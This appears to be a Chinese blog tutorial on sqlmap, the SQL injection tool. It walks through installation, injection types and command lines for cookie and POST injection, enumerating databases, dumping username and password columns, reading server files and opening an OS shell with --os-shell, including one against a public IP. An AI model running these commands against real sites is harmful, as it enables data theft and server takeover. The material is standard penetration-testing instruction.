简单来说:一个用来做sql注入攻击的工具


安装

1,下载sqlmap.zip,下载环境;

打开sqlmap官网https://github.com/sqlmapproject/sqlmap/ ;下载python-2.7.17.amd64.msi

2.配置环境变量;

(控制面板->系统和安全->系统->高级系统设置->环境变量)找到path 新建黏贴python地址

(不明白的话可以自行百度,这就不细说安装了)

sqlmap简介

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase、SAP MaxDB、informix和HsqlDB


SQLMAP工作流程

sqlmap -u “http://127.0.0.1/Less-1/index.php?id=1”

当给sqlmap这么一个url的时候,它会:

1、检测网站是否能够访问

2、检测是否有waf

3、判断可注入的参数

4、判断可以用那种sql注入技术来注入

5、识别出那种数据库

6、根据用户输入的参数,进行操作

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1”

默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql    指定username参数

注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 –dbs

查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test –tables

查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin –columns

查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

dump出字段username与password中的数据

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

测试sqlmap功能(dvwa测试网站)

拿到url后命令行输入

python2 sqlmap.py –u “http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#
显示如下:
如果没有检测到会报错
现在可以尝试上面的执行语句,如爆库表列等:

读写文件

python sqlmap.py -u " " --file-read "要读取文件的目录 "

os参数(执行系统命令)

测试流程:

a)攻击:python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

b)选择语言:

sqlmap默认为php,此处根据需求选择。

c)输入绝对路径:

此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

d)建立os-shell并执行命令:

很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

最新文章

  1. java 后台开发关键词解释
  2. c++ 数据类型转换: static_cast dynamic_cast reinterpret_cast const_cast
  3. 【web前端面试题整理03】来看一点CSS相关的吧
  4. tornado web高级开发项目之抽屉官网的页面登陆验证、form验证、点赞、评论、文章分页处理、发送邮箱验证码、登陆验证码、注册、发布文章、上传图片
  5. php表单中如何获取单选按钮与复选按钮的值
  6. zabbix表结构
  7. uboot 的内存命令使用 mw (修改) md (显示)
  8. OC基础(6)
  9. This implementation is not part of the Windows Platform FIPS validated cryptographic algorithms. 此实现不是 Windows 平台 FIPS 验证的加密算法的一部分 解决方案
  10. MongoDB的主从复制和副本集
  11. RabbitMQ 原文译05--Topics
  12. 怎样学习HTML5?
  13. 网络基础知识系列:阐述VLAN和Trunk
  14. Sql语句构造类,多字段新增或修改时,拼装sql语句比较方便
  15. 通过fromdata实现上传文件
  16. 6-4 The present perfect
  17. 多线程之Executors基本使用
  18. [HDU1693]Eat the Trees
  19. 关于git分支管理,推送拉取等等
  20. [转]总结@Autowired 和@Resource

热门文章

  1. Java学习日报7.12
  2. Base 128 Varints 编码(压缩算法)
  3. RocketMQ(十):数据存储模型设计与实现
  4. linux下 shell时间处理
  5. java.io.NotSerializableException: org.apache.kafka.clients.consumer.ConsumerRecord
  6. pytorch模型结构可视化,可显示每层的尺寸
  7. uber_go_guide解析(三)(规范)
  8. SpringCloud Alibaba Nacos服务注册与配置管理
  9. Java调用Linux命令执行
  10. 使用yaml配置文件管理资源